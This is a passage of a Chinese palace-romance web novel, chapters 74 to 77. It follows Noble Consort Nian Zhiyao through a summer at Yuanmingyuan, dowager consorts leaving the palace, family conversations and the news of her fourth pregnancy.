若是不为万岁做事,等兄弟们都将额娘接了出去,只剩自己的额娘却在宫里,别人不得再背后骂你没用吗。
这皇上即让太妃出了宫,还多了给他干活的兄弟,真是一举两得。
宜太妃看了看所处的宫殿,没成想自己在宫里待了一辈子,倒头来还是得让位。
九爷那也收到消息,“皇上这次竟然如此大方,竟然就能将娘娘接出宫。”
九福晋看他一眼:“要是你,你愿意一群庶母在你旁边看着你,什么动静都知道得一清二楚吗。”
听到福晋这样说,坐在椅子上的九爷不禁打了个冷颤,不说旁的,皇阿玛的那几位妃母可都不是好相与的。
九福晋甩了甩手帕:“所以说这事对娘娘是好事,可对皇上也是件好事。”
九爷给自己倒了杯茶,“福晋说的是,不知什么时候能进宫,爷好问问额娘,喜欢什么样的院子。”
看到九爷的这副模样,九福晋就觉得有些牙疼,她将帕子扔给他,“得了吧我的爷,接娘娘出宫奉养可轮不到咱们,那是五哥的事。”
九爷黑了脸。
永寿宫
年芷瑶看着坐在自己对面的弘昭:“这话真是弘时自己说的,他要出宫开府。”
弘昭点头:“是,三哥同皇阿玛让他出宫开府定是为了他好,既然如此,赶早不赶晚,不如尽早出宫。”
年芷瑶挑眉,这弘时可是一直以四爷的长子自傲,怎么肯轻易地出宫开府,要知道,在宫里一日,可能被封为太子的希望就在他头顶挂着一日,怎么突然清醒了,倒是有些反常。
“你阿玛怎么说。”
弘时的阿哥没了,四爷嘴上不说,心中对这个儿子也是怜惜的,她知道四爷是想将弘时出宫的事往后推一推,这才会提出让太妃出宫。
允坤阿哥一事,太妃们不说横插一脚,也没少狗拿耗子,四爷早就不耐了,提出让亲生子接自己的额娘出宫奉养,谁说不出什么。
谁知弘时竟然自己提了出来要出宫,到让人有些捉摸不透了。
弘昭:“皇阿玛看上去有些高兴,说三哥是长大了。”
年芷瑶点头,“你怎么看。”
弘昭这个年纪若是在现代还是名副其实的小学生,可在皇家,已经不能当个纯粹的孩子了,她不愿过早的让孩子长大,可身在紫禁城,若是过于天真,也不是件好事。
“儿子觉得三哥之前定是不愿意出宫的,可如今却突然改了主意,怕是背后有什么人在给他出主意。”
年芷瑶点了点头,她也是这般想的,她开口道:“弘时是你阿玛的儿子,也是你的长兄,兄友弟恭才是你阿玛希望看到的。”
虽说四爷自己和兄弟们的关系不怎么样,可人都是双标的,到了自己儿子身上,四爷只会希望儿子们的关系好上一些,不然也不会迟迟不立太子。
弘时出生那年,福晋的阿哥刚好早夭,所以在很长一段时间,四爷只有弘时这一个儿子,即便这个儿子天资平平,四爷也是陪着他开过蒙的。
虽不知之后四爷为何会将弘时出继,又革了他的黄带子,可如今,两人的父子情谊还未完全消失。
弘昭:“是,儿子明白。”
“嗯,去玩吧。”年芷瑶拍了拍他的肩膀,教过儿子,剩下的让她这个做额娘的来做便是。
年芷瑶正在前殿招待着七福晋,早些年进宫庆贺新年的时候,她常与七爷的侧福晋待在永和宫的偏殿,倒是有几分面子情,可她对这位七福晋便不大相熟了。
“这是今年宫里新进的
茶,福晋尝尝可好。”
七福晋笑道:“多谢娘娘。”她低头尝了一口,便开口赞道:“娘娘这儿的茶果真是上上之品,就是我这等木头舌头,都能品出一股子香气。”
她此番进宫也是受七爷所托,想试探一下成太妃出宫一事的,七爷一向小心谨慎,从不轻易冒头,在康熙朝便是如此,如今即便是再想接太妃出宫,让他立即蹦出来表忠心也是为难他。
故而才会让她来贵妃宫里探探口风,七福晋看着坐在上首的贵妃,贵妃打扮得并不隆重,头上只戴着几支簪子,却是一派的雍容。
她还记得贵妃刚赐婚给皇上做侧福晋的时候,就是如此的天人之姿,到了如今,也仍然只添气韵,不减风情。
她倒不会认为贵妃十数年如一日的得宠是因为生得好看,只是看着如今的贵妃,七福晋也不免叹道,什么叫岁月不败美人。
年芷瑶笑笑:“福晋过誉了。”
她知道此次七福晋此次过来是为着什么,四爷登基后便加封七爷为亲王,按要求定能符合赡养太妃的条件,况且成太妃与太后亲近,第一个先出宫也不是不行,只是此事还需与四爷商量,但想来问题不大。
她也不是个爱难为人的性子,便与七福晋说了清楚。
七福晋显然是松了一口气,她道:“让贵妃娘娘看笑话了,我家爷是个安分的性子,虽然木讷了些,但绝不会给万岁惹事的。”
她替七爷表了表忠心,七爷不冒头,但万岁说什么便是什么,绝不会带头唱反调,给皇上添堵。
年芷瑶笑了笑,“是,万岁当年在潜邸就常与我说与七爷关系甚好,只是后来年岁大了,这才不如幼时亲近,福晋放心,万岁心里都顾着兄弟呢。”
这话她听了自己都不信,可七福晋却做出了一副感动四爷和七爷之间情谊的样子来,真是人在江湖,身不由己啊。
“额娘,你说呢。”
塔娜出声问道。
年芷瑶刚才在走神,闻言看了过去,“什么。”
几个孩子都用完晚膳,正在一旁看书。
塔娜不满地拽了拽她的衣服,“额娘。”
事实证明,三个孩子着实是多了一些,虽然他们大多时间可以自娱自乐,可要是都缠在老母亲的话,也着实让人招架不住。
等看见四爷过来的时候,年芷瑶着实是松了一口气,说道:“你阿玛过来了,还是先问问阿玛吧,额娘去换一身衣服。”
四爷过来笑道:“怎么了。”
弘晏看他:“皇阿玛,你说孙悟空和二郎神哪个更厉害。”
四爷听后愣在了原地。
第74章 第74章出宫避暑
四爷登基后的日子过得飞快,明明刚进宫的景象还在历历在目,可转眼就到了该除服的日子。
连四爷也都将这日子忘了,听她提醒还愣了一瞬,然后便起身去了奉先殿,想来是前去告慰先帝。
等年芷瑶再去慈宁宫请安的时候,发现太后宫里的笑声都明显多了一些。
其实想想太后也不容易,先帝故去后,太后就成了寡妇,即便四爷再孝顺,可是鲜艳的衣服首饰也都不能再穿戴了,平日里就是听个戏都要靠小辈的孝心。
不过,即便是这般,太后也是最先帝嫔妃中最幸运的一个了,其余的人,有子的还好,无子的嫔妃,就只能沉寂在这紫禁城里了。
年芷瑶摇了摇头,将这些念头甩了出去,如今可不是乱发同情心的时候。
她此次来慈宁宫是有任务在身的,如今临近夏日,四爷便动了去园子避暑的念头。
圆明园从四爷登基后便一直在修,可因在先帝孝期,四爷就一直没去住,如今总算是能去园子里了,年芷瑶也有些期待,也不知道新修的园子是什么样,有没有日后万园之园的风范,她还没去看过呢。
可若是把太后留在宫里,自己去园子里避暑,也不是四爷的风格,四爷便动了将太后一起带去园子的念头。
太后表示十动然拒,说自己在宫里住了一辈子了,实在不想挪动,让四爷带着贵妃,也就是她同去就行了。
年芷瑶十分感动太后还想着她,可这母子两个都不是个轻易妥协的主,便只能由她过来劝太后去园子里避暑。
她道:“若是让皇额娘一人在宫里,万岁如何放心得下,就是先帝爷知道了,也定会怪罪万岁的。”
太后笑了笑:“哀家一个人在宫里可素净得很,你们自去便是,何苦要折腾我。”
年芷瑶想了想:“皇额娘说的哪的话,就是因着皇额娘在宫里待了一辈子,万岁才想着带您出去走动走动,子欲养而亲不待,皇额娘难道也想让万岁受先帝之苦吗。”
她说的是康熙爷那早逝的亲娘。
见太后的神情有些松动,她接着道:“若是皇额娘想清净,不如去畅春园可好,先帝在时便十分钟爱畅春园,您去了即能缅怀先帝,又全了万岁的孝心,岂不是一举两得。”
她知道太后之所以不愿意去园子,很大程度是在犹豫自己身为太后,若是太过享乐会不会不太合适,在她看来,太后同四爷在严于律己这方面尤其的像,他们都是先要求自己做到,再会去要求旁人。
当然,这并不是说他们会宽以待人,只能说他们是严于律己,又严于律人。
她也是从四爷身上看明白太后的,可十四爷又和他们完全不同,倒是十分有趣。
果然,搬了缅怀先帝的名头出来,太后便没再回绝,年芷瑶知道这事有戏。
随即她又提了孩子们,“若是皇额娘您不去,孩子们也是要担心的,塔娜定会留在宫里陪您。”
听她提到了最疼爱的孙女,太后摆了摆手:“你这张嘴惯是能说会道,罢了,哀家是说不过你。”
年芷瑶:“皇额娘这是同意了。”
太后笑道,“你都将公主搬了出来,哀家若是再不同意,怕是下次几个孩子就要亲自过来求哀家了。”
年芷瑶笑了笑,不得不说,太后还是有些了解她的。
见这是定了,两人便又话起了家常。
太后问道:“弘时的婚事可是定了。”
年芷瑶:“是呢,钦天监算过,八月九月都不错,四爷便定了九月初六,是个好日子。”
除服之后,四爷就命内务府加快婚事的进度,若不是实在来不及,四爷都想将婚期定在了上半年。
太后点了点头,“孩子们如今都长大了,哀家也老了啊。”
年芷瑶皱眉,“皇额娘可不能只疼大的不顾小的,如今三阿哥是成婚了,可弘晏还小呢,您还得看着弘晏成婚生子呢。”
太后笑了起来,对着福嬷嬷道:“你听她这话说的,倒像是哀家偏心了。”
福嬷嬷笑道:“奴婢听着倒觉得贵妃娘娘说得有些道理,太后可不能只看弘时阿哥,不管弘晏阿哥吧。”
太后被她们逗得不行。
出了慈宁宫,完成任务的年芷瑶只觉得轻松,既然说服了太后,她总算能去无事一身轻地去圆明园了。
在宫里她待的久了,整日看着这四四方方的高墙,让她都憋得有些很了,如今能出去放放风,她自然高兴得不行。
只是畅春园是先帝的园子,先帝去后,四爷也没想着再去住,虽一直有人维护着,可到底不如先帝在时要完善,如今太后要过去,她还得派人提前去收拾收拾。
不过能够出宫,就算是多干些活她也是心甘情愿啊。
回到永寿宫,年芷瑶就见弘晏拉着塔娜一起玩滑梯,这个滑梯早就不是当年在东院的那个了,而是搬到宫里后四爷又让内务府重新做的。
还特意做了一个更大一些的,连像她这样的成年人都可以进去玩,她笑了笑,跟在弘晏身后排队。
弘晏见了她,对她笑得灿烂:“额娘,你回来了,你回来了。”
年芷瑶摸了摸他的头,“额娘也想你。”孩子不调皮的时候还是很可爱
的,她想。
晚间,她向四爷邀功道:“我帮爷这样大一个忙,爷不该奖励我些什么。”
四爷点头,“自是应该,瑶儿想要什么。”
年芷瑶想了半天,发现自己好像真的没什么缺的,就连四爷的小金库都在她的手里握着呢。
她眨了眨眼,道:“暂时还没想好,等我想到了再给爷提。”
“好,那朕等着瑶儿。”四爷笑着搂着她。
四爷要去圆明园的事很快就在宫里传开了,要知道四爷不比先帝,这可是四爷登基后的第一次避暑。
连几个孩子都显得有些兴奋,弘晏更是,因这孩子自有记忆起就是在宫里长大的,觉得天底下只有紫禁城这一个地方呢,知道要去园子里避暑时还有些迷茫。
只是宫妃可以不带,几个阿哥四爷倒是准备一同带去,除了弘时这个马上就要出宫成亲的除外。
到了出宫当天,年芷瑶一早便带着弘晏坐上了马车,出行的马车格外宽大,还隔出了几个功能区,前面是休息的区域,最后面放着马桶,可以让人马车里更衣,可以说是马车上的两室一厅了。
塔娜去陪太后了,弘昭在外头骑马,故而马车里只有她和弘晏两个,更是宽敞极了,一点也不觉得闷。
只是弘晏坐在马车里,看见外头几个哥哥都在骑马,便有些坐不住了,他道:“额娘,我也想出去骑马。”
年芷瑶:“你还小呢,等你再大些,额娘就让你出去骑马。”
弘晏看着额娘的表情,便知道这事是没得商量了,他有些不开心地撇了撇嘴。
年芷瑶点了点他的头,这孩子以为他的这几个哥哥喜欢在黄土路上骑马啊,不过是做给外人看呢,满人是在马背上打的天下,十分看重骑射。
尤其这次是跟着四爷出门,躲在马车怎么能行,都得出来亮亮相才行,连弘昼这个最吃不了苦头的如今都在外头呢。
要知道这古代可没什么水泥路,要想路平,都是靠着不停地在地上洒水,再洒土夯实,骑着马往路上一跑,那叫一个尘土飞扬,不到半天,脸和衣服都不能看了。
还好从宫里到园子里不算多远,午时刚过就到了园子,她头一件事便是将弘昭赶去洗澡。
这一身的尘和土,不好好洗洗,一会吃饭的时候都能进一嘴沙子。
弘昭挠了挠脑袋,笑着进了浴室。
她看弘晏眼珠子跟着他哥一转,就知道他没打什么好主意,也没出声,就看着弘晏偷偷在弘昭洗澡时偷偷跟了进去,笑着往弘昭身上泼水。
然后被弘昭一把逮着,将他一块带到了木桶里。
得,本来只洗一个的,这下子要洗两个了。
等弘晏出来她给他擦着头发,点了点他的头,“你傻呀,你哥本来就要洗澡的,你进去泼他水,倒是把自己全都弄湿了,不是要多洗一个澡吗。”
弘晏愣住了。
年芷瑶忍不住笑他,四爷说得对,这孩子是看着精,实则傻的厉害。
再次来了圆明园,她倒是还住在杏花春馆,只是还没安顿好,园子里各处的管事便来向她禀报事情,得,四爷只带了她一个人来园子,她不干活谁干活。
还好四爷还知道体谅她一下,给她送来个太监过来,说有什么事让她做主便可,不必再去问他。
好一个甩手掌柜啊。
不过,来的太监倒是个熟面孔,她看了过去:“张公公,许久未见,进来可好啊。”
张麒麟躬身,“奴才给贵妃娘娘请安,劳娘娘记挂,奴才一切都好。”
年芷瑶笑道:“便好好,辛苦张公公了。”
张麒麟:“给主子办差,不敢说辛苦。”
张麒麟的答话还是如此的滴水不漏。
景仁宫
皇后问道:“万岁可是去圆明园了。”
赵嬷嬷看向自家主子:“是呢,今早便已经走了。”
皇后起身看向外院,院子里种了两棵石榴树,景仁宫的奴才说是皇上发了话让种的,皇上是也喜欢多子多福吗。
如今皇上去圆明园,将贵妃,孩子,太后都带走了,唯独剩下了她这个皇后,她在万岁心里,估计只剩下先帝所赐这一个名头了吧。
“嬷嬷,你说皇上是彻底厌了我了吗。”
第75章 第75章佳人
如今先帝孝期已过,园子里倒是能叫戏了,四爷知道她爱热闹,便让人排了几出戏过来。
弘晏对这个没有兴趣,故而只有她和女儿两个人看,虽不算热闹,但十分自在。
年芷瑶喝着茶,手里跟着节奏打着拍子,在现代时她其实对戏曲并不感冒,可在这看了这么多年,如今也算是得了趣味。
台上人正唱到贫家书生和富家小姐定情的那一段,书生捡到了府中小姐的手帕,以为是这府里丫鬟丢的,便亲自还了过去。
小姐一看书生不慕富贵,便动了情,不顾父母亲人的反对硬是要嫁给了书生,最后自然是书生高中,再次迎娶小姐,合家欢大团圆的结局。
塔娜看得一脸向往,年芷瑶却是止不住地想笑。
塔娜看了过来,“额娘,你笑什么。”
年芷瑶道:“我笑这戏文编得未免也太离谱了些,一点也不贴合实际,那小姐和丫鬟的帕子能一样吗。”
见女儿不解,年芷瑶便拿出了自己的手帕,又让白芨和随行的小宫女将自己的手帕拿了出来。
其中她的手帕料子最好,是云锦织的,数月才可织成一匹,在阳光下可呈现出迷人的光彩。
白芨用的则是绸缎,而小宫女只能用棉布的,可就是这最普通的棉布,普通人家大都也不舍得用来做一个无用的手帕的。
那书生家里穷,对上层阶级所用的事物只会观察得更加仔细,怎么会分不出小姐和丫鬟的手帕有什么不同。
即便塔娜再过天真,看着眼前的帕子也就明白过来了,小姐和丫鬟的差距如此之大,那书生怎会认错,若是没有认错,那还能算是真心吗。
不过是书生看小姐天真,下的套子罢了,实在是无趣,塔娜甩了甩帕子。
年芷瑶疼爱地摸了摸女儿的脸,“这不过都是戏文里的套路罢了,里面的小姐不是丢了手帕,就是丢了簪子,书生捡到便道定是府里丫鬟的,小姐一见书生便一眼定情,误了终身,何必认真呢。”
就如同红楼里贾母所说,这些戏文都是一个套子,编得连影儿都没有了。
书里的开头都是书香门第,父亲不是高官就是显贵,生一个小姐如珠如宝的爱着,那小姐也是懂文知礼的,可一见个清俊的男人,便什么都不想了,父母亲人也都忘了,只一心嫁给男人,真是可笑,不过都是些穷酸书生的臆想罢了。
塔娜:“可是,真的没有这般真心的吗。”
年少而慕少艾,她如今的年岁正是对这些事感到好奇的时候。
年芷瑶明白女儿的心思,便道:“真心自然是有的,可总不会发生在捡了帕子的书生身上。”
塔娜笑了起来,“额娘,你这样说,我连这戏都看不下去了。”
年芷瑶笑了笑:“这真心虽有,可却不易得,若是真心易得,哪来这么多人赞美真心呢。”
她看着女儿,塔娜自幼生活的无忧无虑,无论是她还是四爷都不会对女儿要求什么,这本不是什么坏事,可她如今却有些担心,塔娜会不会在爱情上栽跟头。
等到四爷晚上过来的时候她就忍不住将心中的忧虑说给他听。
四爷听后便笑了起来。
年芷瑶不满道:“爷,我是认真的。”
塔娜这辈子顺风顺水的,又是最受四爷宠爱的公主,怎么会知道男人为了争权夺利有多会伪装,若是被伤了心可怎么办。
四爷开口道:“若是真有个这样的人,即便是欺骗了塔娜,那他敢让她伤心吗。”
塔娜是他的女儿,谁敢让她受委屈?便是他和瑶儿先走了,还有弘昭在呢。
年芷瑶微微一愣,随后反应过来,好像是她杞人忧天了,要知道温宪公主的额驸舜安颜可是前段时间刚没了。
人家那么多年在佟家一直活得好好的,可四爷一继位,便授了他侍卫内大臣的职位,这才没干多久,人就没了,谁听说了不得说点什么。
可佟家在四爷这早就没有什么优待了,就算知道这事有蹊跷,谁又敢多说什么呢,要知道佟家那位皇贵太妃前几日刚病了一场,四爷也不过是说了句知道了,如此,世人便知他对佟家的态度了。
四爷拍了拍她:“放心吧,咱们的女儿,只要肆意快乐就够了。”
年芷瑶看着四爷,只觉得这时候的四爷帅出了天际。
第二日,年芷瑶有些不大放心,还想再试探一番女儿,谁知塔娜早就将才子佳人抛到了脑后,直接和弘昭一起去马场骑马了。
年芷瑶摇了摇头,小孩子的突发奇想,困扰到的只有她这个老母亲啊。
在园子里的日子十分悠哉,宫中的琐事也不用她管,
每日只顾着吃吃喝喝,若是无聊了,便出去游船钓鱼。
连四爷都说的她在园子养得实在是好,脸蛋如剥了壳的鸡蛋一般,年芷瑶摸了摸自己的脸,笑着受了四爷的夸。
园子里虽然比宫里凉快,但到了盛夏,依旧让人热得厉害,孩子们倒是不为所动,依旧每日疯狂玩耍,可她就不行了,只在下午四点以后才会出门游船。
四爷午后过来,见她摊在贵妃榻上,不由笑了她一句。
年芷瑶无动于衷,只要不让她出门,说什么她都行,她让白芨送了两碗冰镇酸奶过来。
“爷可别笑话我,这天气太热,我是出不了门的。”
她拿了宽松轻便的衣服让四爷换上,四爷这人也爱出汗,一个上午就得换一身衣服,还偏偏最是严谨,夏天也要严严实实地穿上两层,也就是在她这还能好些。
换过衣服,喝过酸奶,四爷也松快了不少。
四爷:“太后在畅春园如何。”
年芷瑶:“爷放心,我每隔两日都会去畅春园给皇额娘请安,娘娘那一切都好,我瞧着比在宫里还要自在些呢。”
这也是难免,进了畅春园她才知道,先帝为何如此喜欢这个园子,畅春园实在是太大了,和它一比,圆明园都成了小园子,果然才修了两年园子就是比不过老大哥啊,还得让四爷继续努力啊。
四爷:“那就好,辛苦瑶儿了。”
宫务也不是那么好管的,看着光鲜,可却累心劳神,只是这事他着实不愿交给皇后,一个不和他一条心的皇后,实在让他放心不下。
四爷嘱咐道:“有那么些下人在,你也不必事事都操心,若是张麒麟不好用,朕再给你换个人。”
若是累坏了瑶儿,岂不是得不偿失。
年芷瑶笑着应了下来,“张公公尽责得很,爷放心,我不会累着自己的。”
四爷点了点头。
八月份,弘时就到大婚了,她看四爷没什么要回宫的意思,应该不会亲自前去参加弘时的婚礼,年芷瑶也随着四爷的意思,只备下了礼送了过去。
想来也是,既然四爷想将弘时从太子的权力旋涡里摘出来,自然就不会想让人把注意力放在这个儿子身上,便让人传话说等弘时成婚后再来园子里请安便可。
其余几个阿哥倒是都去参加了弘时的婚礼,除了弘晏年岁太小,四爷不放心让他出门,便留在了园子里。
弘时是四爷第一个成婚的阿哥,如今虽已经出宫,但去的人也不算少,听弘昭回来说,三阿哥府上十分的热闹。
弘晏听了便有些不高兴。
年芷瑶拍了拍他:“你太小了,等过些日子,额娘带你去舅舅家玩可好。”
舅舅家,弘晏瞪大了眼睛,“好,那额娘可要说话算话。”
年芷瑶:“额娘什么时候骗过你。”
听额娘这样说,弘晏马上就被哄好了。
年芷瑶笑着摸了摸他的头。
今日是弘时来请安的日子,年芷瑶看了看弘时的福晋,长相说不出什么好坏来,给她行过礼后,这孩子便安静地坐在一旁,看着倒是有些紧张。
许久未见儿子,四爷便留了弘时在园子用了膳,年芷瑶听后便让人下去准备了,弘时陪着四爷,三福晋自然也得留在她这用膳。
消息传来,三福晋眼看着是更紧张了。
等三福晋走后,年芷瑶看向白芨:“我瞧着很吓人吗。”
她照了照镜子,嗯,还是一如既往的美貌啊。
白芨笑了笑,“想来不是娘娘吓人,而是这位三福晋是怕三阿哥不高兴吧。”
年芷瑶笑笑。
四爷回来问道:“弘时的福晋如何。”
年芷瑶实话实说:“看着是个规矩的孩子。”
四爷点头:“是个规矩的便好。”
弘时不是个有才干的孩子,若是有个能劝着他的福晋,也是件好事,免得像八福晋一般,想到郭洛罗氏,四爷不免皱了皱眉。
“弘时和八爷有接触。”年芷瑶看向白芨。
白芨点头:“是,主子前些日子说,让人注意着三阿哥府里的动静,奴婢便吩咐了下去,有人过来回话说,八爷在名下有个庄子,里面。”
她看了看周围,虽然并没有旁人,但还是低声道:“里面养了些女子。”
年芷瑶看着白芨的眼神,瞬间明白了她的意思,她皱了皱眉,弘时不是才完婚不久吗。
八爷费尽心思地从南边寻来扬州瘦马在庄子里养着,定不是因着好心的叔叔想给侄子解闷的缘故吧。
听到这个消息,她有种另一只的靴子终于掉了下来的感觉,四爷这人一向爱憎分明,众多兄弟之中,最喜欢的是十三爷,而讨厌的兄弟则是非八爷莫属。
弘时和八爷开始接触,甭管八爷想利用弘时做什么,怕是结果都不尽如人意啊。
想明白了这些,她摆了摆手:“让人小心着些,只看他们做了什么便可,不必插手。”
白芨:“是,主子放心。”
第76章 第76章孩子
等忙过了十五,年芷瑶见今日颇为清闲,便准备去九州清晏看看四爷,虽说如今她每日在园子里过得悠哉。
可四爷却仍旧不得闲,每日都是批折子见人忙个不停,对他来说,也只是换了个环境更好的地方办公罢了。
每日也只能在太阳落山之前去杏花春馆。
故而这些日子,她都是在外头用的晚膳,每日看着时辰去一个地方待着,再让四爷过去找她,不然四爷就算来了圆明园几个月,怕是也不知道园子里长什么样。
到了九州清晏,苏培盛迎了过来,“娘娘您来了,万岁在里头呢。”
年芷瑶冲他点了点头,推门进去。
看四爷聚精会神地看着折子,她便轻手轻脚的走了过去,本想着去吓一吓四爷,谁知道刚走近,就被他一手抓住了腕子。
反倒把她给吓了一跳,年芷瑶看过去:“爷怎么知道是我的。”
四爷点了点地上。
年芷瑶看了过去,原来她的影子早就将自己暴露了,四爷装作不知,不过是想骗她罢了,她抱怨道:“爷真是坏心眼。”
四爷笑道:“怎么,不被你吓到就是坏了。”
年芷瑶点头。
四爷笑着搂着她,“今日怎么想着过来了。”
年芷瑶想起一事,便道:“爷,咱们都来园子这么久了,要不要回宫一趟呀。”
四爷看她:“想回宫了。”
年芷瑶起身为他磨墨,“倒也不是,只是我想咱们这么长时间不在宫里,会不会不大好。”
照她自己,那是恨不得一直在园子不回去待着才好,这风景好,还没那么多规矩,更重要的是,没有自己讨厌的人,只有她和四爷两个主子,自在的不行。
四爷笑笑,“咱们先不回去,等过几日朕准备下旨让宜太妃,容
太妃和成太妃都先出宫。”
年芷瑶:“这么快。”
奉养太妃也不是什么简单的事,四爷的硬性规定是郡王,可是王府不一定有符合太妃居住的规格住所,若是没有,还需重新修建。
还有这些府上的福晋,一朝得知自己还有赡养婆婆的一天,顿时忙得不可开交,这些日子,几位福晋都没少递话进宫,问着各位娘娘想住什么样的院子,喜欢什么样的屋子。
四爷点头:“现在下旨,也好让太妃们赶在年前离宫。”
等宫里清静了,他才好安心。
年芷瑶,回宫这事倒是她先入为主了,以为皇帝登基后就应该待着宫里,可那紫禁城只是看着好看,身在其中就知道,那地儿并不宜居。
看先帝每年在紫禁城待不了几个月就想走,就知道皇上也觉得宫里难熬,不说别的,只说夏天的热,就让人受不了,高高的宫墙仿佛隔绝掉了空气流通,散热尤其的差。
皇帝也是人,自然想在环境好的地方待着。
四爷握住她的手,“中午陪朕在这用吧。”
年芷瑶从善如流地道:“好啊。”
四爷太忙,她也好久没和四爷一起用午膳了,她对白芨道:“你回去给公主说一声,让她和弘晏先吃,不必等我。”
白芨福身:“是。”
年芷瑶过去给四爷捏了捏肩,看着他桌子上堆满的奏折,说道:“折子是看不完的,万岁也该注意保养才是。”
她瞥了一眼桌子上的折子,不过是些问好请安的废话,却写了满满一本递了上来,简直是浪费时间资源,“万岁日理万机,照我说,这般爱说奉承话的就应该打回去重写才是,何必还要和他回信。”
四爷笑了笑;“瑶儿当真是认真的性子,连个奉承折子都不准人上了。”
他握住她的手:“讨好上官是人之常情,连朕也制止不了,只要他们能为百姓做些实事,也不能不算是个好官。”
年芷瑶:“可万岁平日里如此辛苦,若是人人都多写一份奉承折子,您不是更累吗。”
四爷是每个折子都要看的,可人的精力是有限的,这不是白白多加的一倍的工作量吗。
四爷听着瑶儿的关心,眼里带着柔光,“有瑶儿看着朕呢,朕没事,再说还有苏培盛提醒朕。”
年芷瑶不赞同地看他,这人忙起来就忘了时辰,有时连用膳都能忘。
苏培盛不过是个奴才,他如何敢管四爷,她想了想,道:“说起来快到请平安脉的时间了,要不万岁让太医过来请一请脉吧。”
劝不动四爷,能让太医多请几次脉也好。
四爷看她:“不是说好十天一请脉吗。”
“如今也有七天了。”
四爷算了算,“才刚过五天。”
“五天也该请了。”她看向苏培盛:“去叫王太医过来。”
苏培盛看了四爷一眼,低头道:“是。”
四爷摇头失笑,瑶儿如今是越发的有主子气派了,连他身边的人都不敢驳她。
年芷瑶看四爷笑她,不满地摇了摇他的手。
四爷被她摇得有些晃神,笑道:“朕不是同意请太医了吗。”
“万岁一点也不爱惜自己的身体。”
听说是给万岁诊脉,太医院的人自然来得飞快,只是看见贵妃也在,历经两朝的太医院院判微微一愣,然后上前行礼道,“奴才给皇上,贵妃娘娘请安。”
四爷:“起来吧。”
“是。”王院判看了一眼苏培盛,这太监,刚才也没说贵妃娘娘也在啊。
苏培盛老神在在地站在一旁。
年芷瑶开口:“过来给万岁请平安脉吧。”
王太医:“是。”
诊过脉,太医神色轻松地道:“娘娘放心,万岁圣体安康。”
四爷一脸无奈,“你看吧,朕都说了朕无事。”
年芷瑶瞪他一眼。
四爷道:“既然来了,也给贵妃请个脉吧。”
“是。”
年芷瑶也没拒绝,王太医来都来了,一次看完两个主子,日后也能省点事,反正她现在的作息健康得很,早就不是当年那个天天熬夜吃外卖的亚健康人群了。
现在的她无所畏惧,一点也不怕看大夫,只是王太医迟迟不说话,倒是让四爷有些担心地看了过去。
随即,王太医有些欣喜地开口,“恭喜皇上,恭喜娘娘,贵妃娘娘这是有孕了。”
四爷惊讶起身,“果真。”
年芷瑶有些惊讶,她怀孕了,可她已经生了三个啊,怎么又怀了。
还没来得及开口,四爷便笑道:“好,这真是件喜事。”
总算找到机会的苏培盛连忙带着人跪了下来贺喜。
四爷摆了摆手,笑容满面:“都赏。”
塔娜正带着弟弟读书,看见苏培盛今日格外小意地跟在额娘身后,不免皱了皱眉。
园子里的事额娘也交给她管了一些,今日午膳时额娘虽然不在这用,可伺候的人却没有一个敢怠慢的。
连膳房的太监都十分的殷勤周到,即便她要了个麻烦的菜色,也没人敢糊弄,她知道,这些都是因着她管着园子的缘故。
平日里就是四哥,阿哥这两个阿哥,都没她说话好使。
如果说之前她只是庇护在额娘膝下的孩子,可学着管事的这一年,让塔娜看清了不少东西。
是以她看着苏培盛跟着额娘过来,塔娜就意识到定是额娘那发生了什么,只是看了苏培盛的脸色看,应该不是件坏事。
她起身迎了过去:“额娘。”
年芷瑶看出女儿的不安,拍了拍她的手:“没事的。”
白芨出声道:“公主,娘娘是有孕了。”
塔娜喜出望外,“真的吗。”她看向额娘。
年芷瑶点了点头。
塔娜说道:“真是太好了,额娘。”
皇阿玛的孩子不多,额娘多一个孩子,就是多一份保障,她是永寿宫最大的孩子,从小受到的宠爱最多,自然想得就多。
她长得越大,也就越能感受到额娘带给她的这份肆意和底气,就说旁的叔伯家的女孩子,没几个能被阿玛时时带在身边的,即便是受宠,也不过是多些衣服首饰罢了。
而她拥有的这一切,都是因为额娘带给她的。
她道:“额娘快坐。”
年芷瑶无奈,“不必如此担心,你额娘我都生了三个。”
白嬷嬷还在她身边伺候着,闻言道:“娘娘不可大意,夫人产子都是险事,即便娘娘不是头胎,也该好好保养才是。”
苏培盛:“是呢,万岁让奴才送娘娘过来,就是怕娘娘您不上心,特意让奴才过来嘱咐几句的。”
年芷瑶看着几人三言两语的就把她说的坐在了床上,她看了看外头的座钟,再是小心,如今这不才是下午三点吗,现在让她躺在床上干什么,睡觉吗。
她看这些人才是小心过头了。
一旁的张麒麟明白过来,贵妃娘娘这是又有了身孕,他低了低头,看样子一时半会儿自己是离不了贵妃娘娘身边了。
苏培盛朝他看了过来,“你倒是交了好运,若是将贵妃这胎伺候好了,万岁心里定会记着你的。”
张麒麟拱了拱手:“承蒙苏公公吉言了。”
晚间,四爷过来,面色依旧带着笑意。
年芷瑶看他:“爷怎么这么高兴。”
四爷笑道:“朕的孩子,朕自然高兴。”
他摸了摸她的肚子;“瑶儿不高兴吗。”
年芷瑶:“高兴。”
她自然是高兴的,正如四爷所说,这是她的孩子,与她血脉相连的孩子,无论如何,她都对他的到来感到欣喜。
“只是,不知道弘晏能不能接受这个孩子。”
塔娜和弘昭都在为了会多一个弟弟妹妹而开心,只有弘晏,他年岁还小,又一直都是他们最小的孩子,她怕他会不开心。
四爷握住她的手:“你现在怀着孕,不要想太多,他们兄弟骨肉相连,弘晏也会喜欢这个孩子的。”
第77章 第77章报喜
因着贵妃又有了身孕,四爷在前头一连几日都是笑脸,连没做完功课的五阿哥都被免了训斥,这让弘昼有些摸不着头脑,只是他也不敢去问皇阿玛,发生了什么事让您这么开心,这不是讨打吗。
弘昼的眼珠子转了转,准备从他的好六弟身上下手,要说谁是皇阿玛最喜欢的儿子,那定是弘昭莫属。
没看弘昭每次见了皇阿玛都是一副濡慕的样子,一点也不害怕皇阿玛,弘昭与皇阿玛相处时一看便是亲热的父子,倒衬得他和四哥是捡来的一般。
弘昼
倒是不眼热,他本来就胸无大志,像他额娘所说,日后有个太平王爷做就很好了,即便是再不受宠,他也是皇阿玛亲生的儿子,他爹还能亏了他不成,就像如今得恒亲王就是他日后的奋斗目标。
他额娘还与贵妃交好,日后他也将额娘带出宫来奉养,额娘的日子不比宜太妃等人要滋润。
可他还没来得及拦住弘昭,弘昭就像是有什么急事一般,下了课便跑了没影了。
